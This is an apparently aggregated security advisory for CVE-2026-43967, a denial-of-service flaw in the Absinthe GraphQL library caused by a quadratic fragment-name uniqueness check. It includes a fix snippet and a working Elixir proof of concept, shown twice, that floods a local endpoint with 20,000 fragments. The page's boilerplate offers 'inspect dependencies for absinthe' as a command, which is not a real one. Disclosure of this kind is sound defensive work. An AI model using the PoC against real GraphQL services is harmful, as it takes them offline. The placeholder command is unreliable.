CVE-2026-43967: Absinthe Quadratic Fragment-name Uniqueness Check Vulnerability

Q: What is CVE-2026-43967?

CVE-2026-43967 is a security vulnerability in Absinthe involving Quadratic fragment-name uniqueness check under CWE-407: Inefficient Algorithmic Complexity.

Q: Which Absinthe versions are affected?

Affected versions include releases prior to 1.10.2 across affected packages: absinthe.

Q: What version fixes CVE-2026-43967?

Upgrading to 1.10.2 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is absinthe affected?

Yes, absinthe is affected in releases prior to 1.10.2. Upgrade your dependency to 1.10.2 or later.

Q: What CWE is associated with CVE-2026-43967?

CVE-2026-43967 is classified under CWE-407: Inefficient Algorithmic Complexity (An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.).

Q: How can I check Hex dependencies for CVE-2026-43967?

Run the dependency tree command: 'inspect dependencies for absinthe'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

HIGH

Advisory Identifier: GHSA-9mhv-8h52-q7q2

CWE-407

Published 2026-05-14

Advisory Summary

CVE-2026-43967 is a HIGH quadratic fragment-name uniqueness check vulnerability (CWE-407: Inefficient Algorithmic Complexity) affecting Absinthe libraries in the Hex ecosystem. The issue involves quadratic fragment-name uniqueness check. Remediation is available by upgrading affected packages to version 1.10.2.

CVE-2026-43967 at a Glance

CVE Identifier CVE-2026-43967

GHSA Identifier GHSA-9mhv-8h52-q7q2

Severity HIGH

CVSS v3.1 Base Score N/A

CWE Classification CWE-407: Inefficient Algorithmic Complexity

Affected Product Absinthe

Package Ecosystem Hex

Published Date 2026-05-14

Last Updated 2026-05-14

How to Fix CVE-2026-43967

To remediate this vulnerability, upgrade all affected Absinthe dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

absinthe fixed: 1.10.2

Upgrade absinthe to 1.10.2

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for absinthe

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-43967, inspect your project dependencies for Absinthe:

inspect dependencies for absinthe

Analyze the terminal output to locate any version of Absinthe in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.10.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-407: Inefficient Algorithmic Complexity, where an algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. In Absinthe, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service). Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14 ### Details `Absinthe.Phase.Document.Validation.UniqueFragmentNames` (`lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40`) walks every fragment in `input.fragments` via `run/2`, calling `process/2` on each one. `process/2` then calls `duplicate?/2`, which evaluates `Enum.count(fragments, fn f -> f.name == name end)` — a full linear scan of the fragment list — for every individual fragment. The result is `N · N` name comparisons per document. `input.fragments` is built directly from the GraphQL query text the caller sends at the head of the pipeline, so `N` is attacker-controlled. A minimum-size fragment definition (`fragment a on T{f}`) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps `N`. The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.: ```elixir dups = for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name), k > 1, into: MapSet.new(), do: name ``` and then check `MapSet.member?(dups, fragment.name)` inside `process/2`. That collapses the phase to O(N). ### PoC A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the `UniqueFragmentNames` phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count. ### Impact Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit. ## Scripts and Logs ```elixir # Verifies: Quadratic fragment-name uniqueness check Mix.install([ {:absinthe, "~> 1.7"}, {:absinthe_plug, "~> 1.5"}, {:bandit, "~> 1.0"}, {:plug, "~> 1.15"}, {:jason, "~> 1.4"}, {:req, "~> 0.5"} ]) defmodule VictimSchema do use Absinthe.Schema object :thing do field :f, :string end query do field :thing, :thing do resolve(fn _, _ -> {:ok, %{f: "x"}} end) end end end defmodule VictimRouter do use Plug.Router plug :match plug Plug.Parsers, parsers: [:json], pass: ["*/*"], json_decoder: Jason plug :dispatch forward "/graphql", to: Absinthe.Plug, init_opts: [schema: VictimSchema] match _ do send_resp(conn, 404, "nope") end end port = 47817 {:ok, _} = Bandit.start_link(plug: VictimRouter, port: port) n = 20_000 fragments = 1..n |> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end) |> Enum.join(" ") query = "{ thing { f } } " <> fragments IO.puts( "Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}" ) {us, response} = :timer.tc(fn -> Req.post!("http://127.0.0.1:#{port}/graphql", json: %{query: query}, receive_timeout: 600_000, retry: false ) end) ms = div(us, 1000) IO.puts("HTTP response status: #{response.status}") IO.puts("Total request elapsed (validation-dominated): #{ms} ms") result = if ms > 1000 do "VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)." else "NOT VERIFIED: elapsed #{ms} ms below DoS threshold" end IO.puts(result) ``` ### Logs ```logs HTTP response status: 200 Total request elapsed (validation-dominated): 15451 ms VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check). ```

CVE-2026-43967 Affected Absinthe Versions

1 component(s)

Fixed Versions:

1.10.2

Product / Package	Ecosystem	Affected Versions	Fixed Version
absinthe	Hex	≥ 1.2.0 < 1.10.2	1.10.2

References

GitHub Advisory / Wiki ADVISORY

https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-9mhv-8h52-q7q2

NVD — CVE-2026-43967 NVD

https://nvd.nist.gov/vuln/detail/CVE-2026-43967

Security Fix Commit FIX COMMIT

https://github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d

cna.erlef.org/cves/cve-2026-43967... WEB

https://cna.erlef.org/cves/CVE-2026-43967.html

Absinthe Source Repository REPOSITORY

https://github.com/absinthe-graphql/absinthe

osv.dev/vulnerability/eef-c... WEB

https://osv.dev/vulnerability/EEF-CVE-2026-43967

Frequently Asked Questions

What is CVE-2026-43967?

CVE-2026-43967 is a security vulnerability in Absinthe involving Quadratic fragment-name uniqueness check under CWE-407: Inefficient Algorithmic Complexity.

Which Absinthe versions are affected?

Affected versions include releases prior to 1.10.2 across affected packages: absinthe.

What version fixes CVE-2026-43967?

Upgrading to 1.10.2 (or the latest patched release for your respective branch) resolves the vulnerability.

Is absinthe affected?

Yes, absinthe is affected in releases prior to 1.10.2. Upgrade your dependency to 1.10.2 or later.

What CWE is associated with CVE-2026-43967?

CVE-2026-43967 is classified under CWE-407: Inefficient Algorithmic Complexity (An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.).

How can I check Hex dependencies for CVE-2026-43967?

Run the dependency tree command: 'inspect dependencies for absinthe'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9mhv-8h52-q7q2",
  "modified" : "2026-05-14T13:08:44Z",
  "published" : "2026-05-14T13:08:44Z",
  "aliases" : [ "CVE-2026-43967" ],
  "summary" : "Absinthe: Quadratic fragment-name uniqueness check",
  "details" : "### Summary\nAn unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).\n\nIntroduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14\n\n### Details\n`Absinthe.Phase.Document.Validation.UniqueFragmentNames` (`lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40`) walks every fragment in `input.fragments` via `run/2`, calling `process/2` on each one. `process/2` then calls `duplicate?/2`, which evaluates `Enum.count(fragments, fn f -> f.name == name end)` — a full linear scan of the fragment list — for every individual fragment. The result is `N · N` name comparisons per document.\n\n`input.fragments` is built directly from the GraphQL query text the caller sends at the head of the pipeline, so `N` is attacker-controlled. A minimum-size fragment definition (`fragment a on T{f}`) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps `N`.\n\nThe fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:\n\n```elixir\ndups =\n  for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),\n      k > 1,\n      into: MapSet.new(),\n      do: name\n```\n\nand then check `MapSet.member?(dups, fragment.name)` inside `process/2`. That collapses the phase to O(N).\n\n### PoC\nA standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the `UniqueFragmentNames` phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.\n\n### Impact\nAlgorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Quadratic fragment-name uniqueness check\n\nMix.install([\n  {:absinthe, \"~> 1.7\"},\n  {:absinthe_plug, \"~> 1.5\"},\n  {:bandit, \"~> 1.0\"},\n  {:plug, \"~> 1.15\"},\n  {:jason, \"~> 1.4\"},\n  {:req, \"~> 0.5\"}\n])\n\ndefmodule VictimSchema do\n  use Absinthe.Schema\n\n  object :thing do\n    field :f, :string\n  end\n\n  query do\n    field :thing, :thing do\n      resolve(fn _, _ -> {:ok, %{f: \"x\"}} end)\n    end\n  end\nend\n\ndefmodule VictimRouter do\n  use Plug.Router\n\n  plug :match\n\n  plug Plug.Parsers,\n    parsers: [:json],\n    pass: [\"*/*\"],\n    json_decoder: Jason\n\n  plug :dispatch\n\n  forward \"/graphql\",\n    to: Absinthe.Plug,\n    init_opts: [schema: VictimSchema]\n\n  match _ do\n    send_resp(conn, 404, \"nope\")\n  end\nend\n\nport = 47817\n{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)\n\nn = 20_000\n\nfragments =\n  1..n\n  |> Enum.map(fn i -> \"fragment f#{i} on Thing{f}\" end)\n  |> Enum.join(\" \")\n\nquery = \"{ thing { f } } \" <> fragments\n\nIO.puts(\n  \"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}\"\n)\n\n{us, response} =\n  :timer.tc(fn ->\n    Req.post!(\"http://127.0.0.1:#{port}/graphql\",\n      json: %{query: query},\n      receive_timeout: 600_000,\n      retry: false\n    )\n  end)\n\nms = div(us, 1000)\nIO.puts(\"HTTP response status: #{response.status}\")\nIO.puts(\"Total request elapsed (validation-dominated): #{ms} ms\")\n\nresult =\n  if ms > 1000 do\n    \"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).\"\n  else\n    \"NOT VERIFIED: elapsed #{ms} ms below DoS threshold\"\n  end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP response status: 200\nTotal request elapsed (validation-dominated): 15451 ms\nVERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "absinthe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.2.0"
      }, {
        "fixed" : "1.10.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-9mhv-8h52-q7q2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43967"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-43967.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/absinthe-graphql/absinthe"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-43967"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-407" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T13:08:44Z",
    "nvd_published_at" : "2026-05-08T16:16:12Z"
  }
}

CVSS V4

N/A HIGH

Attack Vector N/A

Attack Complexity N/A

Privileges Required N/A

User Interaction N/A

Scope N/A

Confidentiality N/A

Integrity N/A

Availability N/A

Vector String

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Advisory Metadata

Source ID: GHSA-9mhv-8h52-q7q2
Schema Version: 1.4.0
Published: 2026-05-14 13:08
Last Modified: 2026-05-14 13:08
Database Record File: advisories/github-reviewed/2026/05/GHSA-9mhv-8h52-q7q2/GHSA-9mhv-8h52-q7q2.json